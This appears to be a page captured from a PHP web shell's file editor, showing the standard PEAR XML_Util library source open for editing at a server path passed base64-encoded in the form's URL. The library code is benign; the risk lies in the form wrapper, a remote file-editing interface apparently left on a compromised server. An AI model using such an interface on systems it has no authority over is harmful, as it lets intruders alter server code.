<hr>Util.php<form method=post action="?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvWE1M&f=VXRpbC5waHA%3D"><input name="f" value="Util.php"><textarea name="t">&lt;?php
/**
 * XML_Util
 *
 * XML Utilities package
 *
 * PHP versions 4 and 5
 *
 * LICENSE:
 *
 * Copyright (c) 2003-2008 Stephan Schmidt &lt;schst@php.net&gt;
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 *    * Redistributions of source code must retain the above copyright
 *      notice, this list of conditions and the following disclaimer.
 *    * Redistributions in binary form must reproduce the above copyright
 *      notice, this list of conditions and the following disclaimer in the
 *      documentation and/or other materials provided with the distribution.
 *    * The name of the author may not be used to endorse or promote products
 *      derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &quot;AS
 * IS&quot; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
 * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
 * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
 * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
 * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
 * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
 * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
 * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
 * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @category  XML
 * @package   XML_Util
 * @author    Stephan Schmidt &lt;schst@php.net&gt;
 * @copyright 2003-2008 Stephan Schmidt &lt;schst@php.net&gt;
 * @license   http://opensource.org/licenses/bsd-license New BSD License
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/XML_Util
 */

/**
 * Error code for invalid chars in XML name
 */
define(&#039;XML_UTIL_ERROR_INVALID_CHARS&#039;, 51);

/**
 * Error code for invalid chars in XML name
 */
define(&#039;XML_UTIL_ERROR_INVALID_START&#039;, 52);

/**
 * Error code for non-scalar tag content
 */
define(&#039;XML_UTIL_ERROR_NON_SCALAR_CONTENT&#039;, 60);

/**
 * Error code for missing tag name
 */
define(&#039;XML_UTIL_ERROR_NO_TAG_NAME&#039;, 61);

/**
 * Replace XML entities
 */
define(&#039;XML_UTIL_REPLACE_ENTITIES&#039;, 1);

/**
 * Embedd content in a CData Section
 */
define(&#039;XML_UTIL_CDATA_SECTION&#039;, 5);

/**
 * Do not replace entitites
 */
define(&#039;XML_UTIL_ENTITIES_NONE&#039;, 0);

/**
 * Replace all XML entitites
 * This setting will replace &lt;, &gt;, &quot;, &#039; and &amp;
 */
define(&#039;XML_UTIL_ENTITIES_XML&#039;, 1);

/**
 * Replace only required XML entitites
 * This setting will replace &lt;, &quot; and &amp;
 */
define(&#039;XML_UTIL_ENTITIES_XML_REQUIRED&#039;, 2);

/**
 * Replace HTML entitites
 * @link http://www.php.net/htmlentities
 */
define(&#039;XML_UTIL_ENTITIES_HTML&#039;, 3);

/**
 * Do not collapse any empty tags.
 */
define(&#039;XML_UTIL_COLLAPSE_NONE&#039;, 0);

/**
 * Collapse all empty tags.
 */
define(&#039;XML_UTIL_COLLAPSE_ALL&#039;, 1);

/**
 * Collapse only empty XHTML tags that have no end tag.
 */
define(&#039;XML_UTIL_COLLAPSE_XHTML_ONLY&#039;, 2);

/**
 * Utility class for working with XML documents
 *
 * @category  XML
 * @package   XML_Util
 * @author    Stephan Schmidt &lt;schst@php.net&gt;
 * @copyright 2003-2008 Stephan Schmidt &lt;schst@php.net&gt;
 * @license   http://opensource.org/licenses/bsd-license New BSD License
 * @version   Release: 1.4.5
 * @link      http://pear.php.net/package/XML_Util
 */
class XML_Util
{
    /**
     * Return API version
     *
     * @return string $version API version
     */
    public static function apiVersion()
    {
        return &#039;1.4&#039;;
    }

    /**
     * Replace XML entities
     *
     * With the optional second parameter, you may select, which
     * entities should be replaced.
     *
     * &lt;code&gt;
     * require_once &#039;XML/Util.php&#039;;
     *
     * // replace XML entites:
     * $string = XML_Util::replaceEntities(&#039;This string contains &lt; &amp; &gt;.&#039;);
     * &lt;/code&gt;
     *
     * With the optional third parameter, you may pass the character encoding
     * &lt;code&gt;
     * require_once &#039;XML/Util.php&#039;;
     *
     * // replace XML entites in UTF-8:
     * $string = XML_Util::replaceEntities(
     *     &#039;This string contains &lt; &amp; &gt; as well as , , ,  and &#039;,
     *     XML_UTIL_ENTITIES_HTML,
     *     &#039;UTF-8&#039;
     * );
     * &lt;/code&gt;
     *
     * @param string $string          string where XML special chars
     *                                should be replaced
     * @param int    $replaceEntities setting for entities in attribute values
     *                                (one of XML_UTIL_ENTITIES_XML,
     *                                XML_UTIL_ENTITIES_XML_REQUIRED,
     *                                XML_UTIL_ENTITIES_HTML)
     * @param string $encoding        encoding value (if any)...
     *                                must be a valid encoding as determined
     *                                by the htmlentities() function
     *
     * @return string string with replaced chars
     * @see    reverseEntities()
     */
    public static function replaceEntities(
        $string, $replaceEntities = XML_UTIL_ENTITIES_XML, $encoding = &#039;ISO-8859-1&#039;
    ) {
        switch ($replaceEntities) {
        case XML_UTIL_ENTITIES_XML:
            return strtr(
                $string,
                array(
                    &#039;&amp;&#039;  =&gt; &#039;&amp;amp;&#039;,
                    &#039;&gt;&#039;  =&gt; &#039;&amp;gt;&#039;,
                    &#039;&lt;&#039;  =&gt; &#039;&amp;lt;&#039;,
                    &#039;&quot;&#039;  =&gt; &#039;&amp;quot;&#039;,
                    &#039;\&#039;&#039; =&gt; &#039;&amp;apos;&#039;
                )
            );
            break;
        case XML_UTIL_ENTITIES_XML_REQUIRED:
            return strtr(
                $string,
                array(
                    &#039;&amp;&#039; =&gt; &#039;&amp;amp;&#039;,
                    &#039;&lt;&#039; =&gt; &#039;&amp;lt;&#039;,
                    &#039;&quot;&#039; =&gt; &#039;&amp;quot;&#039;
                )
            );
            break;
        case XML_UTIL_ENTITIES_HTML:
            return htmlentities($string, ENT_COMPAT, $encoding);
            break;
        }
        return $string;
    }

    /**
     * Reverse XML entities
     *
     * With the optional second parameter, you may select, which
     * entities should be reversed.
     *
     * &lt;code&gt;
     * require_once &#039;XML/Util.php&#039;;
     *
     * // reverse XML entites:
     * $string = XML_Util::reverseEntities(&#039;This string contains &amp;lt; &amp;amp; &amp;gt;.&#039;);
     * &lt;/code&gt;
     *
     * With the optional third parameter, you may pass the character encoding
     * &lt;code&gt;
     * require_once &#039;XML/Util.php&#039;;
     *
     * // reverse XML entites in UTF-8:
     * $string = XML_Util::reverseEntities(
     *     &#039;This string contains &amp;lt; &amp;amp; &amp;gt; as well as&#039;
     *     . &#039; &amp;auml;, &amp;ouml;, &amp;szlig;, &amp;agrave; and &amp;ecirc;&#039;,
     *     XML_UTIL_ENTITIES_HTML,
     *     &#039;UTF-8&#039;
     * );
     * &lt;/code&gt;
     *
     * @param string $string          string where XML special chars
     *                                should be replaced
     * @param int    $replaceEntities setting for entities in attribute values
     *                                (one of XML_UTIL_ENTITIES_XML,
     *                                XML_UTIL_ENTITIES_XML_REQUIRED,
     *                                XML_UTIL_ENTITIES_HTML)
     * @param string $encoding        encoding value (if any)...
     *                                must be a valid encoding as determined
     *                                by the html_entity_decode() function
     *
     * @return string string with replaced chars
     * @see    replaceEntities()
     */
    public static function reverseEntities(
        $string, $replaceEntities = XML_UTIL_ENTITIES_XML, $encoding = &#039;ISO-8859-1&#039;
    ) {
        switch ($replaceEntities) {
        case XML_UTIL_ENTITIES_XML:
            return strtr(
                $string,
                array(
                    &#039;&amp;amp;&#039;  =&gt; &#039;&amp;&#039;,
                    &#039;&amp;gt;&#039;   =&gt; &#039;&gt;&#039;,
                    &#039;&amp;lt;&#039;   =&gt; &#039;&lt;&#039;,
                    &#039;&amp;quot;&#039; =&gt; &#039;&quot;&#039;,
                    &#039;&amp;apos;&#039; =&gt; &#039;\&#039;&#039;
                )
            );
            break;
        case XML_UTIL_ENTITIES_XML_REQUIRED:
            return strtr(
                $string,
                array(
                    &#039;&amp;amp;&#039;  =&gt; &#039;&amp;&#039;,
                    &#039;&amp;lt;&#039;   =&gt; &#039;&lt;&#039;,
                    &#039;&amp;quot;&#039; =&gt; &#039;&quot;&#039;
                )
            );
            break;
        case XML_UTIL_ENTITIES_HTML:
            return html_entity_decode($string, ENT_COMPAT, $encoding);
            break;
        }
        return $string;
    }

    /**
     * Build an xml declaration
     *
     * &lt;code&gt;
     * require_once &#039;XML/Util.php&#039;;
     *
     * // get an XML declaration:
     * $xmlDecl = XML_Util::getXMLDeclaration(&#039;1.0&#039;, &#039;UTF-8&#039;, true);
     * &lt;/code&gt;
     *
     * @param string $version    xml version
     * @param string $encoding   character encoding
     * @param bool   $standalone document is standalone (or not)
     *
     * @return string xml declaration
     * @uses   attributesToString() to serialize the attributes of the
     *         XML declaration
     */
    public static function getXMLDeclaration(
        $version = &#039;1.0&#039;, $encoding = null, $standalone = null
    ) {
        $attributes = array(
            &#039;version&#039; =&gt; $version,
        );
        // add encoding
        if ($encoding !== null) {
            $attributes[&#039;encoding&#039;] = $encoding;
        }
        // add standalone, if specified
        if ($standalone !== null) {
            $attributes[&#039;standalone&#039;] = $standalone ? &#039;yes&#039; : &#039;no&#039;;
        }

        return sprintf(
            &#039;&lt;?xml%s?&gt;&#039;,
            XML_Util::attributesToString($attributes, false)
        );
    }

    /**
     * Build a document type declaration
     *
     * &lt;code&gt;
     * require_once &#039;XML/Util.php&#039;;
     *
     * // get a doctype declaration:
     * $xmlDecl = XML_Util::getDocTypeDeclaration(&#039;rootTag&#039;,&#039;myDocType.dtd&#039;);
     * &lt;/code&gt;
     *
     * @param string $root        name of the root tag
     * @param string $uri         uri of the doctype definition
     *                            (or array with uri and public id)
     * @param string $internalDtd internal dtd entries
     *
     * @return string doctype declaration
     * @since  0.2
     */
    public static function getDocTypeDeclaration(
        $root, $uri = null, $internalDtd = null
    ) {
        if (is_array($uri)) {
            $ref = sprintf(&#039; PUBLIC &quot;%s&quot; &quot;%s&quot;&#039;, $uri[&#039;id&#039;], $uri[&#039;uri&#039;]);
        } elseif (!empty($uri)) {
            $ref = sprintf(&#039; SYSTEM &quot;%s&quot;&#039;, $uri);
        } else {
            $ref = &#039;&#039;;
        }

        if (empty($internalDtd)) {
            return sprintf(&#039;&lt;!DOCTYPE %s%s&gt;&#039;, $root, $ref);
        } else {
            return sprintf(&quot;&lt;!DOCTYPE %s%s [\n%s\n]&gt;&quot;, $root, $ref, $internalDtd);
        }
    }

    /**
     * Create string representation of an attribute list
     *
     * &lt;code&gt;
     * require_once &#039;XML/Util.php&#039;;
     *
     * // build an attribute string
     * $att = array(
     *              &#039;foo&#039;   =&gt;  &#039;bar&#039;,
     *              &#039;argh&#039;  =&gt;  &#039;tomato&#039;
     *            );
     *
     * $attList = XML_Util::attributesToString($att);
     * &lt;/code&gt;
     *
     * @param array      $attributes attribute array
     * @param bool|array $sort       sort attribute list alphabetically,
     *                               may also be an assoc array containing
     *                               the keys &#039;sort&#039;, &#039;multiline&#039;, &#039;indent&#039;,
     *                               &#039;linebreak&#039; and &#039;entities&#039;
     * @param bool       $multiline  use linebreaks, if more than
     *                               one attribute is given
     * @param string     $indent     string used for indentation of
     *                               multiline attributes
     * @param string     $linebreak  string used for linebreaks of
     *                               multiline attributes
     * @param int        $entities   setting for entities in attribute values
     *                               (one of XML_UTIL_ENTITIES_NONE,
     *                               XML_UTIL_ENTITIES_XML,
     *                               XML_UTIL_ENTITIES_XML_REQUIRED,
     *                               XML_UTIL_ENTITIES_HTML)
     *
     * @return string string representation of the attributes
     * @uses   replaceEntities() to replace XML entities in attribute values
     * @todo   allow sort also to be an options array
     */
    public static function attributesToString(
        $attributes, $sort = true, $multiline = false,
        $indent = &#039;    &#039;, $linebreak = &quot;\n&quot;, $entities = XML_UTIL_ENTITIES_XML
    ) {
        /*
         * second parameter may be an array
         */
        if (is_array($sort)) {
            if (isset($sort[&#039;multiline&#039;])) {
                $multiline = $sort[&#039;multiline&#039;];
            }
            if (isset($sort[&#039;indent&#039;])) {
                $indent = $sort[&#039;indent&#039;];
            }
            if (isset($sort[&#039;linebreak&#039;])) {
                $multiline = $sort[&#039;linebreak&#039;];
            }
            if (isset($sort[&#039;entities&#039;])) {
                $entities = $sort[&#039;entities&#039;];
            }
            if (isset($sort[&#039;sort&#039;])) {
                $sort = $sort[&#039;sort&#039;];
            } else {
                $sort = true;
            }
        }
        $string = &#039;&#039;;
        if (is_array($attributes) &amp;&amp; !empty($attributes)) {
            if ($sort) {
                ksort($attributes);
            }
            if (!$multiline || count($attributes) == 1) {
                foreach ($attributes as $key =&gt; $value) {
                    if ($entities != XML_UTIL_ENTITIES_NONE) {
                        if ($entities === XML_UTIL_CDATA_SECTION) {
                            $entities = XML_UTIL_ENTITIES_XML;
                        }
                        $value = XML_Util::replaceEntities($value, $entities);
                    }
                    $string .= &#039; &#039; . $key . &#039;=&quot;&#039; . $value . &#039;&quot;&#039;;
                }
            } else {
                $first = true;
                foreach ($attributes as $key =&gt; $value) {
                    if ($entities != XML_UTIL_ENTITIES_NONE) {
                        $value = XML_Util::replaceEntities($value, $entities);
                    }
                    if ($first) {
                        $string .= &#039; &#039; . $key . &#039;=&quot;&#039; . $value . &#039;&quot;&#039;;
                        $first   = false;
                    } else {
                        $string .= $linebreak . $indent . $key . &#039;=&quot;&#039; . $value . &#039;&quot;&#039;;
                    }
                }
            }
        }
        return $string;
    }

    /**
     * Collapses empty tags.
     *
     * @param string $xml  XML
     * @param int    $mode Whether to collapse all empty tags (XML_UTIL_COLLAPSE_ALL)
     *                      or only XHTML (XML_UTIL_COLLAPSE_XHTML_ONLY) ones.
     *
     * @return string XML
     */
    public static function collapseEmptyTags($xml, $mode = XML_UTIL_COLLAPSE_ALL)
    {
        if (preg_match(&#039;~&lt;([^&gt;])+/&gt;~s&#039;, $xml, $matches)) {
            // it&#039;s already an empty tag
            return $xml;
        }
        switch ($mode) {
            case XML_UTIL_COLLAPSE_ALL:
                $preg1 =
                    &#039;~&lt;&#039; .
                        &#039;(?:&#039; .
                            &#039;(https?://[^:\s]+:\w+)&#039; .  // &lt;http://foo.com:bar  ($1)
                            &#039;|(\w+:\w+)&#039; .              // &lt;foo:bar             ($2)
                            &#039;|(\w+)&#039; .                  // &lt;foo                 ($3)
                        &#039;)+&#039; .
                        &#039;([^&gt;]*)&#039; .                     // attributes           ($4)
                    &#039;&gt;&#039; .
                    &#039;&lt;\/(\1|\2|\3)&gt;&#039; .                  // 1, 2, or 3 again     ($5)
                    &#039;~s&#039;
                ;
                $preg2 =
                    &#039;&lt;&#039; .
                        &#039;${1}${2}${3}&#039; .    // tag (only one should have been populated)
                        &#039;${4}&#039; .            // attributes
                    &#039; /&gt;&#039;
                ;
                return (preg_replace($preg1, $preg2, $xml)?:$xml);
                break;
            case XML_UTIL_COLLAPSE_XHTML_ONLY:
                return (
                    preg_replace(
                        &#039;/&lt;(area|base(?:font)?|br|col|frame|hr|img|input|isindex|link|meta|&#039;
                        . &#039;param)([^&gt;]*)&gt;&lt;\/\\1&gt;/s&#039;,
                        &#039;&lt;\\1\\2 /&gt;&#039;,
                        $xml
                    ) ?: $xml
                );
                break;
            case XML_UTIL_COLLAPSE_NONE:
                // fall thru
            default:
                return $xml;
        }
    }

    /**
     * Create a tag
     *
     * This method will call XML_Util::createTagFromArray(), which
     * is more flexible.
     *
     * &lt;code&gt;
     * require_once &#039;XML/Util.php&#039;;
     *
     * // create an XML tag:
     * $tag = XML_Util::createTag(&#039;myNs:myTag&#039;,
     *     array(&#039;foo&#039; =&gt; &#039;bar&#039;),
     *     &#039;This is inside the tag&#039;,
     *     &#039;http://www.w3c.org/myNs#&#039;);
     * &lt;/code&gt;
     *
     * @param string $qname           qualified tagname (including namespace)
     * @param array  $attributes      array containg attributes
     * @param mixed  $content         the content
     * @param string $namespaceUri    URI of the namespace
     * @param int    $replaceEntities whether to replace XML special chars in
     *                                content, embedd it in a CData section
     *                                or none of both
     * @param bool   $multiline       whether to create a multiline tag where
     *                                each attribute gets written to a single line
     * @param string $indent          string used to indent attributes
     *                                (_auto indents attributes so they start
     *                                at the same column)
     * @param string $linebreak       string used for linebreaks
     * @param bool   $sortAttributes  Whether to sort the attributes or not
     * @param int    $collapseTagMode How to handle a content-less, and thus collapseable, tag
     *
     * @return string XML tag
     * @see    createTagFromArray()
     * @uses   createTagFromArray() to create the tag
     */
    public static function createTag(
        $qname, $attributes = array(), $content = null,
        $namespaceUri = null, $replaceEntities = XML_UTIL_REPLACE_ENTITIES,
        $multiline = false, $indent = &#039;_auto&#039;, $linebreak = &quot;\n&quot;,
        $sortAttributes = true, $collapseTagMode = XML_UTIL_COLLAPSE_ALL
    ) {
        $tag = array(
            &#039;qname&#039;      =&gt; $qname,
            &#039;attributes&#039; =&gt; $attributes
        );

        // add tag content
        if ($content !== null) {
            $tag[&#039;content&#039;] = $content;
        }

        // add namespace Uri
        if ($namespaceUri !== null) {
            $tag[&#039;namespaceUri&#039;] = $namespaceUri;
        }

        return XML_Util::createTagFromArray(
            $tag, $replaceEntities, $multiline,
            $indent, $linebreak, $sortAttributes,
            $collapseTagMode
        );
    }

    /**
     * Create a tag from an array.
     * This method awaits an array in the following format
     * &lt;pre&gt;
     * array(
     *     // qualified name of the tag
     *     &#039;qname&#039; =&gt; $qname
     *
     *     // namespace prefix (optional, if qname is specified or no namespace)
     *     &#039;namespace&#039; =&gt; $namespace
     *
     *     // local part of the tagname (optional, if qname is specified)
     *     &#039;localpart&#039; =&gt; $localpart,
     *
     *     // array containing all attributes (optional)
     *     &#039;attributes&#039; =&gt; array(),
     *
     *     // tag content (optional)
     *     &#039;content&#039; =&gt; $content,
     *
     *     // namespaceUri for the given namespace (optional)
     *     &#039;namespaceUri&#039; =&gt; $namespaceUri
     * )
     * &lt;/pre&gt;
     *
     * &lt;code&gt;
     * require_once &#039;XML/Util.php&#039;;
     *
     * $tag = array(
     *     &#039;qname&#039;        =&gt; &#039;foo:bar&#039;,
     *     &#039;namespaceUri&#039; =&gt; &#039;http://foo.com&#039;,
     *     &#039;attributes&#039;   =&gt; array(&#039;key&#039; =&gt; &#039;value&#039;, &#039;argh&#039; =&gt; &#039;fruit&amp;vegetable&#039;),
     *     &#039;content&#039;      =&gt; &#039;I\&#039;m inside the tag&#039;,
     * );
     * // creating a tag with qualified name and namespaceUri
     * $string = XML_Util::createTagFromArray($tag);
     * &lt;/code&gt;
     *
     * @param array  $tag             tag definition
     * @param int    $replaceEntities whether to replace XML special chars in
     *                                content, embedd it in a CData section
     *                                or none of both
     * @param bool   $multiline       whether to create a multiline tag where each
     *                                attribute gets written to a single line
     * @param string $indent          string used to indent attributes
     *                                (_auto indents attributes so they start
     *                                at the same column)
     * @param string $linebreak       string used for linebreaks
     * @param bool   $sortAttributes  Whether to sort the attributes or not
     * @param int    $collapseTagMode How to handle a content-less, and thus collapseable, tag
     *
     * @return string XML tag
     *
     * @see  createTag()
     * @uses attributesToString() to serialize the attributes of the tag
     * @uses splitQualifiedName() to get local part and namespace of a qualified name
     * @uses createCDataSection()
     * @uses collapseEmptyTags()
     * @uses raiseError()
     */
    public static function createTagFromArray(
        $tag, $replaceEntities = XML_UTIL_REPLACE_ENTITIES,
        $multiline = false, $indent = &#039;_auto&#039;, $linebreak = &quot;\n&quot;,
        $sortAttributes = true, $collapseTagMode = XML_UTIL_COLLAPSE_ALL
    ) {
        if (isset($tag[&#039;content&#039;]) &amp;&amp; !is_scalar($tag[&#039;content&#039;])) {
            return XML_Util::raiseError(
                &#039;Supplied non-scalar value as tag content&#039;,
                XML_UTIL_ERROR_NON_SCALAR_CONTENT
            );
        }

        if (!isset($tag[&#039;qname&#039;]) &amp;&amp; !isset($tag[&#039;localPart&#039;])) {
            return XML_Util::raiseError(
                &#039;You must either supply a qualified name &#039;
                . &#039;(qname) or local tag name (localPart).&#039;,
                XML_UTIL_ERROR_NO_TAG_NAME
            );
        }

        // if no attributes hav been set, use empty attributes
        if (!isset($tag[&#039;attributes&#039;]) || !is_array($tag[&#039;attributes&#039;])) {
            $tag[&#039;attributes&#039;] = array();
        }

        if (isset($tag[&#039;namespaces&#039;])) {
            foreach ($tag[&#039;namespaces&#039;] as $ns =&gt; $uri) {
                $tag[&#039;attributes&#039;][&#039;xmlns:&#039; . $ns] = $uri;
            }
        }

        if (!isset($tag[&#039;qname&#039;])) {
            // qualified name is not given

            // check for namespace
            if (isset($tag[&#039;namespace&#039;]) &amp;&amp; !empty($tag[&#039;namespace&#039;])) {
                $tag[&#039;qname&#039;] = $tag[&#039;namespace&#039;] . &#039;:&#039; . $tag[&#039;localPart&#039;];
            } else {
                $tag[&#039;qname&#039;] = $tag[&#039;localPart&#039;];
            }
        } elseif (isset($tag[&#039;namespaceUri&#039;]) &amp;&amp; !isset($tag[&#039;namespace&#039;])) {
            // namespace URI is set, but no namespace

            $parts = XML_Util::splitQualifiedName($tag[&#039;qname&#039;]);

            $tag[&#039;localPart&#039;] = $parts[&#039;localPart&#039;];
            if (isset($parts[&#039;namespace&#039;])) {
                $tag[&#039;namespace&#039;] = $parts[&#039;namespace&#039;];
            }
        }

        if (isset($tag[&#039;namespaceUri&#039;]) &amp;&amp; !empty($tag[&#039;namespaceUri&#039;])) {
            // is a namespace given
            if (isset($tag[&#039;namespace&#039;]) &amp;&amp; !empty($tag[&#039;namespace&#039;])) {
                $tag[&#039;attributes&#039;][&#039;xmlns:&#039; . $tag[&#039;namespace&#039;]]
                    = $tag[&#039;namespaceUri&#039;];
            } else {
                // define this Uri as the default namespace
                $tag[&#039;attributes&#039;][&#039;xmlns&#039;] = $tag[&#039;namespaceUri&#039;];
            }
        }

        if (!array_key_exists(&#039;content&#039;, $tag)) {
            $tag[&#039;content&#039;] = &#039;&#039;;
        }

        // check for multiline attributes
        if ($multiline === true) {
            if ($indent === &#039;_auto&#039;) {
                $indent = str_repeat(&#039; &#039;, (strlen($tag[&#039;qname&#039;])+2));
            }
        }

        // create attribute list
        $attList = XML_Util::attributesToString(
            $tag[&#039;attributes&#039;],
            $sortAttributes, $multiline, $indent, $linebreak
        );

        switch ($replaceEntities) {
        case XML_UTIL_ENTITIES_NONE:
            break;
        case XML_UTIL_CDATA_SECTION:
            $tag[&#039;content&#039;] = XML_Util::createCDataSection($tag[&#039;content&#039;]);
            break;
        default:
            $tag[&#039;content&#039;] = XML_Util::replaceEntities(
                $tag[&#039;content&#039;], $replaceEntities
            );
            break;
        }
        $tag = sprintf(
            &#039;&lt;%s%s&gt;%s&lt;/%s&gt;&#039;, $tag[&#039;qname&#039;], $attList, $tag[&#039;content&#039;],
            $tag[&#039;qname&#039;]
        );

        return self::collapseEmptyTags($tag, $collapseTagMode);
    }

    /**
     * Create a start element
     *
     * &lt;code&gt;
     * require_once &#039;XML/Util.php&#039;;
     *
     * // create an XML start element:
     * $tag = XML_Util::createStartElement(&#039;myNs:myTag&#039;,
     *     array(&#039;foo&#039; =&gt; &#039;bar&#039;) ,&#039;http://www.w3c.org/myNs#&#039;);
     * &lt;/code&gt;
     *
     * @param string $qname          qualified tagname (including namespace)
     * @param array  $attributes     array containg attributes
     * @param string $namespaceUri   URI of the namespace
     * @param bool   $multiline      whether to create a multiline tag where each
     *                               attribute gets written to a single line
     * @param string $indent         string used to indent attributes (_auto indents
     *                               attributes so they start at the same column)
     * @param string $linebreak      string used for linebreaks
     * @param bool   $sortAttributes Whether to sort the attributes or not
     *
     * @return string XML start element
     * @see    createEndElement(), createTag()
     */
    public static function createStartElement(
        $qname, $attributes = array(), $namespaceUri = null,
        $multiline = false, $indent = &#039;_auto&#039;, $linebreak = &quot;\n&quot;,
        $sortAttributes = true
    ) {
        // if no attributes hav been set, use empty attributes
        if (!isset($attributes) || !is_array($attributes)) {
            $attributes = array();
        }

        if ($namespaceUri != null) {
            $parts = XML_Util::splitQualifiedName($qname);
        }

        // check for multiline attributes
        if ($multiline === true) {
            if ($indent === &#039;_auto&#039;) {
                $indent = str_repeat(&#039; &#039;, (strlen($qname)+2));
            }
        }

        if ($namespaceUri != null) {
            // is a namespace given
            if (isset($parts[&#039;namespace&#039;]) &amp;&amp; !empty($parts[&#039;namespace&#039;])) {
                $attributes[&#039;xmlns:&#039; . $parts[&#039;namespace&#039;]] = $namespaceUri;
            } else {
                // define this Uri as the default namespace
                $attributes[&#039;xmlns&#039;] = $namespaceUri;
            }
        }

        // create attribute list
        $attList = XML_Util::attributesToString(
            $attributes, $sortAttributes,
            $multiline, $indent, $linebreak
        );
        $element = sprintf(&#039;&lt;%s%s&gt;&#039;, $qname, $attList);
        return  $element;
    }

    /**
     * Create an end element
     *
     * &lt;code&gt;
     * require_once &#039;XML/Util.php&#039;;
     *
     * // create an XML start element:
     * $tag = XML_Util::createEndElement(&#039;myNs:myTag&#039;);
     * &lt;/code&gt;
     *
     * @param string $qname qualified tagname (including namespace)
     *
     * @return string XML end element
     * @see    createStartElement(), createTag()
     */
    public static function createEndElement($qname)
    {
        $element = sprintf(&#039;&lt;/%s&gt;&#039;, $qname);
        return $element;
    }

    /**
     * Create an XML comment
     *
     * &lt;code&gt;
     * require_once &#039;XML/Util.php&#039;;
     *
     * // create an XML start element:
     * $tag = XML_Util::createComment(&#039;I am a comment&#039;);
     * &lt;/code&gt;
     *
     * @param string $content content of the comment
     *
     * @return string XML comment
     */
    public static function createComment($content)
    {
        $comment = sprintf(&#039;&lt;!-- %s --&gt;&#039;, $content);
        return $comment;
    }

    /**
     * Create a CData section
     *
     * &lt;code&gt;
     * require_once &#039;XML/Util.php&#039;;
     *
     * // create a CData section
     * $tag = XML_Util::createCDataSection(&#039;I am content.&#039;);
     * &lt;/code&gt;
     *
     * @param string $data data of the CData section
     *
     * @return string CData section with content
     */
    public static function createCDataSection($data)
    {
        return sprintf(
            &#039;&lt;![CDATA[%s]]&gt;&#039;,
            preg_replace(&#039;/\]\]&gt;/&#039;, &#039;]]]]&gt;&lt;![CDATA[&gt;&#039;, strval($data))
        );
    }

    /**
     * Split qualified name and return namespace and local part
     *
     * &lt;code&gt;
     * require_once &#039;XML/Util.php&#039;;
     *
     * // split qualified tag
     * $parts = XML_Util::splitQualifiedName(&#039;xslt:stylesheet&#039;);
     * &lt;/code&gt;
     * the returned array will contain two elements:
     * &lt;pre&gt;
     * array(
     *     &#039;namespace&#039; =&gt; &#039;xslt&#039;,
     *     &#039;localPart&#039; =&gt; &#039;stylesheet&#039;
     * );
     * &lt;/pre&gt;
     *
     * @param string $qname     qualified tag name
     * @param string $defaultNs default namespace (optional)
     *
     * @return array array containing namespace and local part
     */
    public static function splitQualifiedName($qname, $defaultNs = null)
    {
        if (strstr($qname, &#039;:&#039;)) {
            $tmp = explode(&#039;:&#039;, $qname);
            return array(
                &#039;namespace&#039; =&gt; $tmp[0],
                &#039;localPart&#039; =&gt; $tmp[1]
            );
        }
        return array(
            &#039;namespace&#039; =&gt; $defaultNs,
            &#039;localPart&#039; =&gt; $qname
        );
    }

    /**
     * Check, whether string is valid XML name
     *
     * &lt;p&gt;XML names are used for tagname, attribute names and various
     * other, lesser known entities.&lt;/p&gt;
     * &lt;p&gt;An XML name may only consist of alphanumeric characters,
     * dashes, undescores and periods, and has to start with a letter
     * or an underscore.&lt;/p&gt;
     *
     * &lt;code&gt;
     * require_once &#039;XML/Util.php&#039;;
     *
     * // verify tag name
     * $result = XML_Util::isValidName(&#039;invalidTag?&#039;);
     * if (is_a($result, &#039;PEAR_Error&#039;)) {
     *    print &#039;Invalid XML name: &#039; . $result-&gt;getMessage();
     * }
     * &lt;/code&gt;
     *
     * @param string $string string that should be checked
     *
     * @return mixed true, if string is a valid XML name, PEAR error otherwise
     *
     * @todo support for other charsets
     * @todo PEAR CS - unable to avoid 85-char limit on second preg_match
     */
    public static function isValidName($string)
    {
        // check for invalid chars
        if (!is_string($string) || !strlen($string) || !preg_match(&#039;/^[[:alpha:]_]\\z/&#039;, $string[0])) {
            return XML_Util::raiseError(
                &#039;XML names may only start with letter or underscore&#039;,
                XML_UTIL_ERROR_INVALID_START
            );
        }

        // check for invalid chars
        $match = preg_match(
            &#039;/^([[:alpha:]_]([[:alnum:]\-\.]*)?:)?&#039;
            . &#039;[[:alpha:]_]([[:alnum:]\_\-\.]+)?\\z/&#039;,
            $string
        );
        if (!$match) {
            return XML_Util::raiseError(
                &#039;XML names may only contain alphanumeric &#039;
                . &#039;chars, period, hyphen, colon and underscores&#039;,
                XML_UTIL_ERROR_INVALID_CHARS
            );
        }
        // XML name is valid
        return true;
    }

    /**
     * Replacement for XML_Util::raiseError
     *
     * Avoids the necessity to always require
     * PEAR.php
     *
     * @param string $msg  error message
     * @param int    $code error code
     *
     * @return PEAR_Error
     * @todo   PEAR CS - should this use include_once instead?
     */
    public static function raiseError($msg, $code)
    {
        include_once &#039;PEAR.php&#039;;
        return PEAR::raiseError($msg, $code);
    }
}
?&gt;
